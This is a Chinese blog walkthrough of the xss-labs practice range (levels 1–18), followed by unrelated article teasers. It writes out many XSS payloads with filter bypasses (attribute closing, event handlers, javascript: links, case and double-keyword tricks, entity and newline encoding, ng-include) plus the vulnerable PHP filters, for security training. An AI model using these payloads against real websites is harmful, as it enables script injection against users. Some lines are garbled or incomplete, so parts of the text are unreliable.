Xss_less靶场攻略(1-18)
xss-lab-less1
ur特殊字符转义
存在url中 转义符为 %2B& 转义符为 %26空格 转义符为 + 或 %20/ 转义符为 %2F? 转义符为 %3F% 转义符为 %25#转义符为 %23= 转义符为 %3D
img 标签懒加载
在XSS攻击中,img标签的src属性是一个常见的攻击向量,因为它可以用于插入恶意的JavaScript代码。这是因为,当浏览器解析HTML时,它会自动加载img标签中指定的图片,而这个过程中可以执行任意的JavaScript代码。例如,恶意用户可以在img标签的src属性中插入一个JavaScript代码,该代码在图片加载时会被执行,从而导致XSS攻击,伪协议
"a标签"是HTML中的一个标签
用于创建超链接 "javascript:"是一种伪协议,用于在超链接中执行JavaScript代码。在a标签中使用"javascript:"伪协议可以实现一些动态效果
<a href="javascript:alert(/xss/)">touch me</a> //利用a标签的javascript:伪协议
" ' 还在的话添加事件
< > 被编码那么就不要考虑闭合 尝试添加一些鼠标事件 闭合属性
< > " ' 都被编码的话那么闭合标签或者闭合属性就不行了
观察三处箭头,发现 name="" 的值会回显在页面中,我们将 name重新赋值为我们的xss语句试试看
不知道服务端有没有对其进行过滤
name=<script>alert("你好世界")</script>
成功突破,我们正确的将script的alert语句写入,就会触发window.alert=function() 函数,
从而弹窗启动
xss-lab-less2(闭合input)
同样和第一天一致 回显位置会在下列,并且是一个input的提交框,通过点击的功能,将输入框内的内容以get方式提交给 服务器上的level2.php
尝试弹窗语句报错,右键源码其中<和>都被编码成了html字符实体。猜测在服务器端用 htmlspecialchars() 函数对 keyword 参数的值进行了处理。 但是它默认不对单引号做编码那么我们可以考虑 添加鼠标事件,但是这个函数不过滤单引号那么防止不了 sql 注入
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
less2服务端PHP代码 <?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; // 接收到keyword数据通过变量 $str存储
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> // 通过htmlspecialchars过滤 $str
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> // 此处并没有对语句进行过滤 我们在这里构造进行闭合 "> <script>alert('xss')</script>//
<input type=submit name=submit value="搜索"/> 左边的"> 闭合原先的" 后面的//注释后面的
</form></center>?>闭合后在服务端的语句echo "<h2 align=center>没有找到和""><script>alert('xss')</script>//"相关的结果.</h2>".'<center>猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。将keyword的参数值重新赋值"><script>alert('xss')</script>//(因为题目的目的就是只要触发了alert函数就可以了) 对vlues的值做了处理 那么我们就不使用就可以了
进行闭合在input标签的添加新的属性值
xss-lab-less3(闭合value 事件焦点on)
和第二关类似,通过get方式传输的值回显到页面,构造弹窗我们再查看报错<script>alert(1)</script>
<h1 align=center>欢迎来到level3</h1><h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> // 回显将<> 编码成 html字符实体 <form action=level3.php method=GET>
<input name=keyword value='<script>alert(1)</script>'> // 将输入的地方也进行过滤
<input type=submit name=submit value=搜索 />
</form></center><center><img src=level3.png></center><h3 align=center>payload的长度:25</h3></body></html>服务端PHP代码同样两个回显位置都做处理,我们想一下不通过别输入的语言的输入触发alert函数,使用基于 input的焦点事件onfocus 事件在对象获得焦点时发生。'οnfοcus=javascript:alert('xss') > //&submit=搜索 使用鼠标点击该输入框时输入框被选中可以
输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此当输入框聚焦时就会触发
取巧方式
Xss-lab-less4(同3)
与前面一致同样两处回显,使用get提交
常规使用<script>alert(1)</script>,查看代码看情况发现 value="scriptalert(1)/script"> 确实 并且转义< > ,没有了
箭头1的尖括号是被转码 箭头2被删除<h1 align=center>欢迎来到level4</h1><h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> < > 转码 <-----
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script"> < > 删除 <---------
<input type=submit name=submit value=搜索 />
</form></center><center><img src=level4.png></center><h3 align=center>payload的长度:21</h3></body>但是时间触发并不需要 < > 我们同样使用less3的构造语句
'οnfοcus=javascript:alert('xss') > //&submit=搜索
箭头1:将get方式传递到服务器端的keyword参数的值赋给str变量。箭头2和3:将变量中的<和>删除箭头4:对变量进行编码然后显示在页面上箭头5:将去除<和>的变量值插入到<input>标签的value属性值中。str_replace() 函数使用一个字符串替换字符串中的另一些字符。
箭头2处的替换就是将 $str接收到的值把里面的 > 替换为空 也就是删除了这个字符串<a href="javascript:alert(1)">test</a>
Xss-lab-less5(闭合input a标签触发)
常规两个回显 get传输 回显位一致
常规使用 <script>alert(1)</script> 控制台观察代码
1. htmlspecialchars() <> 被编码我们可以使用 less2的方式 先闭合再注释 //
"><script>alert('xss')</script>// 2.输入框的 script 被加入下划线 3. 采用之前的方式进行触发 ?keyword="οnfοcus=javascript:alert('xss')>//
构造的语句也被加入 _ ??? 这里我尝试了新的构造语句 就是闭合input
”>onfocus=javascript:alert('xss')>// 但是发现这个input的聚焦语句onfocus没有办法单独使用 所以不能直接去闭合但是呢这里的 onfocus 前面加入 " 是因为不需要这个 vlues 来传输值 它本身就是一个独立的属性 这就是去闭合的原因 并且呢闭合vlues后我们输入的值不会在输入框中存在 vlues闭合后为空, 后面的 > 也是重新闭合变成新的语句,担心后面会有误解这里提前写好 并且 转义函数 htmlspecialchars() 是将<> 转化成字符实体,所以我们再在页面上看到的还是正确的 <script> 控制台中的语句才是出现了问题 "onfocus=javascript:alert('xss')>// 并且呢 这个语句也是被错 加上 _ 控制台源码显示这样
这里也是对 onfocus 时间进行了防范 我们在外层包裹一个 a 标签尝试"><a href=javascript:alert('xss')>xss</a>//语句分析: "> "闭合input的vlues属性 >闭合 input标签 <a href=javascript:alert('xss')>xss</a> 组成新的语句 a标签点击触发js语句// 闭合后面的input残余语句 点击后通过
Xss-lab-less6 (大小写)
常规两个位置回显,跟之前题目没有区别。我们尝试 弹窗语句
再去看控制台的闭合情况
控制台语句显示
1.处箭头 < > 转码消失
2.处箭头 加入下划线
我们尝试
"οnfοcus=javascript:alert('xss')" 这里同样报错观察源码的报错语句是加入下划线<input name=keyword value=""o_nfocus=javascript:alert('xss')>//">尝试less闭合包裹语句
"> <a href=javascript:alert('xss') > xss</a> //
同样报错加入下划线
我们尝试改成a标签的大小写"> <a HrEF=javascript:alert('xss') > xss</a> //"> <audio Src=javascript:alert('xss')>xss </audio> //我们这里改动的是<a>标签中的href属性的大小写,而在html中对大小写是不敏感的
点击出现的xss 顺利通过
查看PHP源码的防范 $str = $_GET["keyword"]; // 接收到name keydord的值存储在 $str变量中
$str2=str_replace("<script","<scr_ipt",$str); // 替换$str字符里面的 script为<scr_ipt> 加入尖括号 <script> </script>这一类的恶意代码
$str3=str_replace("on","o_n",$str2); // 将替换 < 的新的变量 $str2 再次进行替换 将on 替换为 o_n 这里主要防范的是利用带有on字符的事件来触发恶意代码比如前面用到过的onfocus事件。
$str4=str_replace("src","sr_c",$str3); // 将替换 on 的新的变量 $str3 再次替换 将src 替换为 sr_c 得提到<img>标签了 <img>标签代码:?name=<img src=111 οnerrοr=alert('xss')>$str5=str_replace("data","da_ta",$str4);
// 替换以此类推 用字符data进行匹配的,同上面一样该字符在之前的演示中也没有 出现过。现在一般有点XSS意识的管理员都懂得过滤javascript与script等关 键字。但是对于data的认识却并不多,也就很少有对它进行过滤的。
// javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试
// data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=$str6=str_replace("href","hr_ef",$str5); // 替换以此类推 以看到是用<a> </a>标签中的字符href来进行匹配了,防止的 就是通过在href属性中插入js代码来点击执行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> // htmlspecialchars() 转义 < > 为字符实体
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'"> // 处理后的字符串再回显到 inpt 输入框
Xss-lab-less7(双写关键字)
进入关卡同样是两个回显位,尝试 <script>alert('xss')</script>
查看页面回显报错, input的vlues过滤了script 两边都消失
右键查看报错源码
1. htmlspecialchars() 转码字符
2. 过滤了 script
尝试事件触发"onfocus=javascript:alert('xss') //右键源码发现直接 onfocus 中的on 直接被替换删除 并且两个<script> 也消失不见 。如果是这样的话就不需要再继续尝试新的标签了,看看前面的大小写能不能绕过
无法尝试新的标签我们试试大小写绕过过滤 我们构造新的语句"OnFocus=JAvAScRipt:alert('xss')>//同样被过滤
尝试双写关键字,因为过滤是找了就过滤,但如果我们有两个相同的 那么就会过滤掉一个保留下另一个 从而达到注入"oonnfocus=javascriscriptpt:alert('xss') //
input聚焦后成功注入
查看PHP源码 $str =strtolower( $_GET["keyword"]); // strtolower函数将字符全部转换为小写,那么我们的 大小写绕过 就无法完成下面语句将基本的关键字都删除了,但是它只执行了一次 所以可以双写绕过 $str2=str_replace("script","",$str); // 替换字符 script 为空 那么间接等于删除
$str3=str_replace("on","",$str2); // 删除 on
$str4=str_replace("src","",$str3); // 删除 src
$str5=str_replace("data","",$str4); // 删除 href
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> // 不做过滤只做转义,所以这里的回显跟 input的回显有区别
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
Xss-lab-less8(编码)
答题方式与之前有些许不同,少了回显位,多了友情连接,并且有了a标签的跳转尝试 js语句 控制台查看报错
<script>alert(1)</script>
箭头1处 只是转义 < > 但是在页面上的input中的值还是没有改变的
箭头2处 过滤语句添加了下划线
尝试 input 事件聚焦函数"onfocus=javascript:alert('xss')>//用于闭合 vlues 的双引号也对转码成 " 且被加入下划线 ()双写关键字 --- 但是此处不适用因为没有对关键字进行删除只是加入_下划线进行的过滤 如果删除了 关键字那么我们就可以进行 双写 参考 less7
"oonnfocus=javascriscriptpt:alert('xss')>//
我们将提交的 js代码进行编码javascript:alert('xss')
将弹窗代码从ASCli转换成Unicode编码即可
查看PHP源码 $str = strtolower($_GET["keyword"]); strtolower 转换成小写
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6); 将闭合的 " 转换成字符实体 "
Xss-lab-less9 (语句编码)
input标签一处回显 并且呢我们点击友情链接a 不是出现我们的字符串 而是链接不合法<input name=keyword value="22222">
<input type=submit name=submit value=添加友情链接 />
</form></center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>猜测这里可能对url地址做了匹配。只有包含正常的url地址才能添加到href属性值中
构造一个有正常 url地址的恶意代码,只要存在正确的url地址那么就会插入到a标签中javascript:alert('xss')http://www.baidu.com语句虽然正确插入但是在js下方加入了下划线存在尝试大小写绕过也是不行 肯定是将字符串通过strtolower() 函数 转换为小写
这里的属性并没有删除 只是被加入东西 所以我们的双写关键字不适用尝试input聚焦 "onfocus=javascript:alert('xss')http://www.baidu.com> //&submit=搜索
虽然是成功的写入但是还是将字符进行转码 与less8类似
尝试将js语句进行编码 javascript:alert('xss')http://www.baidu.comjavascript:alert('xss')http://www.baidu.com成功的注入到了,a链接中但还是没有弹窗因为你还得在js代码和url中间加上一个//才行<input name=keyword value="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;http://www.baidu.com">
<input type=submit name=submit value=添加友情链接 />
</form></center><center><BR><a href="javascript:alert('xss')http://www.baidu.com">友情链接</a></center><center><i----------------------------------------------重新构造语句
在链接前面加入 // 就成功判断到我们的链接 我们的语句就可以成功的插入进去javascript:alert('xss')//http://www.baidu.comjavascript:alert('xss')//http://www.baidu.com
查看PHP源码 $str = strtolower($_GET["keyword"]); 转化小写
$str2=str_replace("script","scr_ipt",$str); 过滤script 不能直接写入<script>
$str3=str_replace("on","o_n",$str2); 过滤on聚焦
$str4=str_replace("src","sr_c",$str3); 过滤src导致img无法使用
$str5=str_replace("data","da_ta",$str4); 过滤data
$str6=str_replace("href","hr_ef",$str5); 过滤a标签的href
$str7=str_replace('"','"',$str6); 过滤闭合 " 双引号为空
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form></center>';
?>
<?php
if(false===strpos($str7,'http://')) strpos() 查看 $str7字符串变量第一次出现的位置 是否存在 http:// 有效的地址链接 如果没有的话则运行链接不合法 有则把字符串加入到a标签中点击
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
Xss-lab-less10 (&=标签突破)
查看第十关的页面源代码 发现是有 3个隐藏标签<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">页面没有输入框请求 我们在ur地址进行输入
常规使用我们的 查看页面回显 尖括号被编码
但这里存在三个标签 我们通过连接 & 符号来进行突破
?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"type: 定义输入框的是什么类型 有单选啊 复选啊 这里我们是text也就是输入框,为属性添加上输入框属性看那个标签会被突破hidden: 赋值在type在等于隐藏这个输入框
我们利用上面的代码突破发现 会将t_sort属性暴露出来,我们继续构造下面语句,更改属性为text 并且赋值点击事件?keyword=&t_sort=" type="text" οnclick="alert('xss')出现输入框后这种语句也可以进行只需闭合input的vlues值即可"οnfοcus=javascript:alert('xss') type="text">//
源码: $str = $_GET["keyword"]; // 接收到keyword的值拿 $str存储
$str11 = $_GET["t_sort"]; // 接收到 name为 t_sort的输入框标签
$str22=str_replace(">","",$str11); // 对$str11的尖括号做处理 替换为空
$str33=str_replace("<","",$str22); // 对值进行二次处理
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden"> // 处理后的值给到input标签
Xss-lab-less11
与less10,同样有着隐藏标签,我们使用 & 连接进行突破 ?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text将每个输入框都加入 typetext属性,发现了第三个出现问题,双引号被编码成字符实体,并且没有出现输入框 打不进去但是t_sort还是正常的接受参数只是被编码 那么她不显示出现的话我们 把"进行编码看看是否会被过滤?keyword=good job!&t_sort="type="text" 等价与 &t_sort="type = "text发现还是无济于事甚至编码直接不会显示
<input name="t_sort" value=""" type="hidden">
进行抓包分析
Xss-lab-less15(ng-include包含文件)
html代码是body标签包裹着span并且span加入了class选择器,提交的参数值被加入到了class中ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。 用法:1、ng-include 指令用于包含外部的 HTML文件。2、包含的内容将作为指定元素的子节点。3、ng-include 属性的值可以是一个表达式,返回一个文件名。4、默认情况下,包含的文件需要包含在同一个域名下。注意:1.ng-include,如果单纯指定地址,必须要加引号2.ng-include,加载外部html,script标签中的内容不执行3.ng-include,加载外部html中含有style标签样式可以识别<body><span class="ng-include:1.gif"></span></body>
"οnclick="alert(1) 这里尝试闭合class属性会被转码成字符实体,不能闭合的情况下只能尝试编码
"onclick="alert(1) 根据添加不上我们查看PHP源码$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; // 只是对文件做了字符实体
?>既然ng-include,这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件,所以这里的ng-include的地方不是拿来包含语句的
是来包含文件来闭合然后才来xss利用一个文件去闭合前面 然后加入新的标签进行xss?src='level1.php?name=<img src=1 οnerrοr=alert(1)>' onerror:发生错误时触发 强制写错然后成功
Xss-lab-less16 (换行绕过)
get输入的值会加入的语句会到center中,回显在桌面0x0
<h1 align=center>欢迎来到level16</h1><center>123</center><center><img src=level16.png></center><h3 align=center>payload的长度:3</h3></body></html>0x1想通过在center中加入标签方式进行点击但是a标签被替换 空格被替换为   并且script替换被空格<center><ahref=java :alert('xss')>xss< a></center><center><img src=level16.png></center>
查看源码 将script / 空格 全部替换为字符实体空格$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";但没有对双引号做处理,我们需要一个不需要闭合的标签img 给属性src给到不存在的地址那么就会报错 利用到onerror事件真的妙
虽然过滤空格但没有过滤回车我们将回车编码里面的代码也会换行 自然而然就不会贴在一起 回车编码:%0a
<img
src="111"
οnerrοr=alert(‘xss’)
>
Xss-lab-less17 (swf)
less17离谱的点击直接可以进入下一关,但我们肯定是要找到它的缺陷
审计发现html中的embed标签没有显示出来
arg01跟arg02是相互对应上的,<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合 直接就是src = -----------------------
尝试<script>弹窗 发现我们的尖括号<> 都被撞成了字符实体,那么我们尝试闭合也是不行的<script>alert(1)</script>这里应该被htmlspecialchars()处理了 把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
这里的 a=b 这两个值我们不需要在这里处理的,我们等到embed标签出现后,我们不考虑这个闭合 在其后面加入点击事件即可
但是这里的embed的图片没有显示出来 我就强制加入标签在这里处理了点击页面响应中显示该swf文件区域的时候成功弹窗 onclick="alert(1)" 事件触发包括别的事件也是可以的onmouseover:(表示当鼠标移动到该标签上时就会触发执行某项动作)
在服务器端上传的两个参数的值都用htmlspecialchars()函数进行了处理 echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
Xss-lab-less18(同17)
相关文章:
Xss_less靶场攻略(1-18)
xss-lab-less1 ur特殊字符转义 存在url中 转义符为 %2B& 转义符为 %26空格 转义符为 或 %20/ 转义符为 %2F? 转义符为 %3F% 转义符为 %25#转义符为 %23 转义符为 %3Dimg 标签懒加载 在XSS攻击中,img标签的src属性是一个常见的攻击向量,因为它可以…...
【AI语音克隆整合包及教程】声临其境,让想象成为现实——第二代GPT-SoVITS引领语音克隆新时代!
随着人工智能技术的飞速发展,曾经只能在科幻小说中出现的场景逐渐走进了我们的日常生活。其中,语音克隆技术以其独特魅力,成为了人们关注的焦点。GPT-SoVITS作为一款前沿的语音克隆工具,由RVC变声器创始人“花儿不哭”与AI音色转换…...
echarts属性之dataZoom
dataZoom-slider 滑动条型数据区域缩放组件(dataZoomInside) 滑动条型数据区域缩放组件提供了数据缩略图显示,缩放,刷选,拖拽,点击快速定位等数据筛选的功能。下图显示了该组件可交互部分 所有属性 data…...
SQLite 语法
SQLite 语法 SQLite 是一种轻量级的数据库管理系统,它遵循 SQL(结构化查询语言)标准。SQLite 的语法相对简单,易于学习和使用。本文将详细介绍 SQLite 的基本语法,包括数据定义语言(DDL)、数据…...
逗号运算符应用举例
在main.cpp里输入程序如下: #include <iostream> //使能cin(),cout(); #include <iomanip> //使能setbase(),setfill(),setw(),setprecision(),setiosflags()和resetiosflags(); //setbase( char x )是设置输出数字的基数,如输出进制数则用set…...
Android 玩机知识储备
基础知识 安卓刷机:https://post.smzdm.com/p/724098/安装分区(视频): https://www.bilibili.com/video/BV1BY4y1H7Mc/安卓分区(文章): https://www.cnblogs.com/unixcs/p/16398969.html开机过程:https://…...
MyBatis 学习记录(六)之逆向工程
MyBatis 学习记录(六) MyBatis的逆向工程1、创建逆向工程添加依赖和插件创建逆向工程的配置文件执行MBG插件的generate目标最终生成的效果 2、QBC查询 MyBatis的逆向工程 **正向工程:**先创建Java实体类,由框架负责根据实体类生成…...
深度了解flink(七) JobManager(1) 组件启动流程分析
前言 JobManager是Flink的核心进程,主要负责Flink集群的启动和初始化,包含多个重要的组件(JboMaster,Dispatcher,WebEndpoint等),本篇文章会基于源码分析JobManagr的启动流程,对其各个组件进行介绍&#x…...
PostgreSQL 约束
PostgreSQL 约束 介绍 PostgreSQL 是一种功能强大的开源对象关系数据库系统,它提供了多种约束来确保数据的完整性和一致性。约束是数据库规则,用于限制表中数据的类型和操作。在 PostgreSQL 中,约束可以分为几种类型,包括主键约…...
【Redis】
1、Redis 概述 远程字典服务器(Remote Dictionary Server,Redis):一个开源的、高性能的、轻量级、使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,通过提供多种键值数据类型来试音不同场景下的缓…...
大厂面试真题-MVCC有哪些不好
MVCC(Multi-Version Concurrency Control,多版本并发控制)虽然具有提高数据库并发性能、避免脏读等优势,但也存在一些缺点。以下是对MVCC缺点的详细归纳: 一、存储开销增加 MVCC需要为每个数据行存储多个版本&#x…...
一篇教你多排轮播效果
多排轮播 提示:demo案例 效果看看把 这些都是可以单独左右滑动的 文章目录 多排轮播前言一、上才艺总结 前言 今天想着想着 看着别人这样 哎还挺好看,就自己弄了 提示:以下是本篇文章正文内容,下面案例可供参考 一、上才艺 &…...
安全警告您正在访问危险网站怎么关闭
在上网时,很多人可能遇到过“安全警告:您正在访问危险网站”的提示。这类警告通常由浏览器或安全软件自动弹出,旨在保护用户免受钓鱼网站、恶意软件等潜在安全威胁的侵害。这篇文章将带您了解这种安全警告的来源、关闭提示的步骤以及应采取的…...
群控系统服务端开发模式-应用开发-业务架构逻辑开发第一轮测试
整个系统的第一个层次已经开发完毕,已经有简单的中控,登录、退出、延迟登录时长、黑名单、数据层封装、验证层封装、RSA加解密、Redis等功能,还缺获取个人、角色按钮权限、角色菜单权限功能。角色按钮权限以及角色菜单权限等明后天开发&#…...
git 怎么保留某个文件夹忽略其下面的所有文件?
在 Git 中,如果你想要保留某个文件夹(比如 folder/)但忽略其下面的所有文件,可以使用 .gitignore 文件来实现。需要注意的是,Git 不会自动创建空目录。因此,为了让 Git 记录这个空目录,你需要在…...
Linux Shell 实现一键部署mariadb11.6
mariadb MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。在存储引擎方面,使用XtraDB来代替MySQL的InnoDB。 MariaDB由MySQL的创始人Michael Widenius主导开发…...
Servlet 3.0 注解开发
文章目录 Servlet3.0注解开发修改idea创建注解的servlet模板内容讲解 关于servlet3.0注解开发的疑问_配置路径省略了属性urlPatterns内容讲解内容小结 Servlet3.0注解开发 【1】问题 说明:之前我们都是使用web.xml进行servlet映射路径的配置。这样配置的弊端&…...
rom定制系列------红米note8_miui14安卓13定制修改固件 带面具root权限 刷写以及界面预览
💝💝💝红米note8机型代码:ginkgo。高通芯片。此固件官方最终版为稳定版12.5.5安卓11的版本。目前很多工作室需要高安卓版本的固件来适应他们的软件。并且需要root权限。根据客户要求。修改固件为完全root。并且修改为可批量刷写的…...
Kaspa钱包ts代码封装
文章目录 1. 配置wasm2. 钱包地址创建3. KAS转账&余额查询4. KRC-20 处理5. 使用demo 1. 配置wasm 下载wasm地址:https://kaspa.aspectron.org/nightly/downloads/ 在项目根目录下添加wasm目录, 将下载的wasm文件中web目录下kaspa和kaspa-dev文件家…...
MySQL 数据库中 MyISAM 和 InnoDB 的区别:深入解析
MySQL 是目前最流行的开源数据库管理系统之一,支持多种存储引擎,其中最常用的就是 MyISAM 和 InnoDB。这两种存储引擎各有其特点,适用于不同的使用场景。理解它们之间的区别有助于数据库开发者和管理者根据应用需求选择合适的存储引擎。本文将…...
python中怎样实现闭包?
在Python中,闭包是指一个函数可以访问其自身范围之外的变量,即可以访问其外部函数作用域中的变量。要实现一个闭包,可以按照以下步骤进行: 内部函数引用外部函数的变量:在外部函数中定义一个内部函数,并在…...
论文阅读:MultiUI 利用网页UI进行丰富文本的视觉理解
《HARNESSING WEBPAGE UIS FOR TEXT-RICH VISUAL UNDERSTANDING》 利用网页UI进行丰富文本的视觉理解 总结 grounding和QA部分的数据集占比较大、同时消融实验显示其作用相对较大,并且grounding部分作用和效果呈现scaling正相关提供了很多web数据处理成多模态训练…...
【云原生】云原生后端详解:架构与实践
目录 引言一、云原生后端的核心概念1.1 微服务架构1.2 容器化1.3 可编排性1.4 弹性和可伸缩性 二、云原生后端的架构示意图三、云原生后端的最佳实践3.1 使用服务网格3.2 监控与日志管理3.3 CI/CD 流水线3.4 安全性 总结参考资料 引言 随着云计算的迅猛发展,云原生…...
MySQL覆盖索引
覆盖索引(Covering Index)是数据库优化中的一种重要技术 覆盖索引是指一个查询语句在执行时,所需的数据可以完全通过索引来获取,而无需访问实际的数据行。也就是说,查询语句所需的列都包含在了创建的索引中,…...
「C/C++」C/C++ 之 循环结构详解
✨博客主页何曾参静谧的博客📌文章专栏「C/C」C/C程序设计📚全部专栏「VS」Visual Studio「C/C」C/C程序设计「UG/NX」BlockUI集合「Win」Windows程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「PK」Parasoli…...
json-server的基本使用
一、json-server工具的使用 可以快速的搭建符合RESTful API服务。返回符合RESTful规范的数据; 1、全局引入json-server包 npm install -g json-server2、创建json格式的db.json文件 {"jsonData": [{"name": "小明"}] }3、在json文…...
华为配置BFD状态与接口状态联动实验
组网图形 图1 配置BFD状态与接口状态联动组网图 BFD简介配置注意事项组网需求配置思路操作步骤配置文件 BFD简介 为了减小设备故障对业务的影响,提高网络的可靠性,网络设备需要能够尽快检测到与相邻设备间的通信故障,以便及时采取措施&…...
计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-22
计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-22 目录 文章目录 计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-22目录1. PoisonedRAG: Knowledge corruption attacks to retrieval-augmented generation of large language models摘要创新点…...
理解消息队列
消息队列(Message Queue)有下面四大作用: 解耦。几个业务系统之间可以通过 MQ 解耦,例如做数据同步数据的顺序性和可恢复性异步通讯缓冲能力 理解 MQ MQ 的前两个特点且不说,我们看看另外两个的。 异步通讯&#x…...
!什么,matlab也有网页版了
已经脱离matlab一下下几天的困境了,是的,matlab也有网页版了 附上网址: MATLAB Login | MATLAB & Simulink...
建网站的公司广州排名/企业培训系统app
nginx代理天地图做缓存解决跨域问题参考文章: (1)nginx代理天地图做缓存解决跨域问题 (2)https://www.cnblogs.com/zhang90030/p/9429649.html 备忘一下。...
网络舆情分析师证书/seo免费入门教程
str str.replace(/,/g, "");...
网站编程培训学校招生/搜索引擎优化文献
提交一个 服务器请求(support request) 然后在你的服务请求中同时提供下面的信息。 Confluence 服务器 登录 Confluence 然后访问管理员控制台。 将 系统信息(System Information)页面的中内容进行截图,或者保存页面为…...
在线手机网站制作/沧州网站推广优化
一个bug解决: 有时在Vue工程中写es6语法代码会报regeneratorRuntime is not defined的错误,此时可通过下面方式解决: 下载npm install --save-dev babel-polyfill在webpack.config.js中写var babelpolyfill require("babel-polyfill&qu…...
建设网站企业邮箱/网站seo外包公司有哪些
本博文记录阅读《C Primer》过程中遇到的未理解知识点,便于日后回头有针对性的攻克。 教材:《C Primer中文第四版(非扫描)》 1.第369页有这么一句“。 正如前面第 7.8 节所提到的,当形参以副本传递时,不能基…...
简述网站的设计流程/品牌营销策划包括哪些内容
小编说:在新的一年里,又到了总结成绩展望未来的时候。今天我们就一起看看在过去的2021年里,微软工业物联网相关技术都取得了怎样的发展吧~ 在全球各行各业纷纷加速数字化转型以降低运营成本、打造新服务类别并实现可持续性目标的…...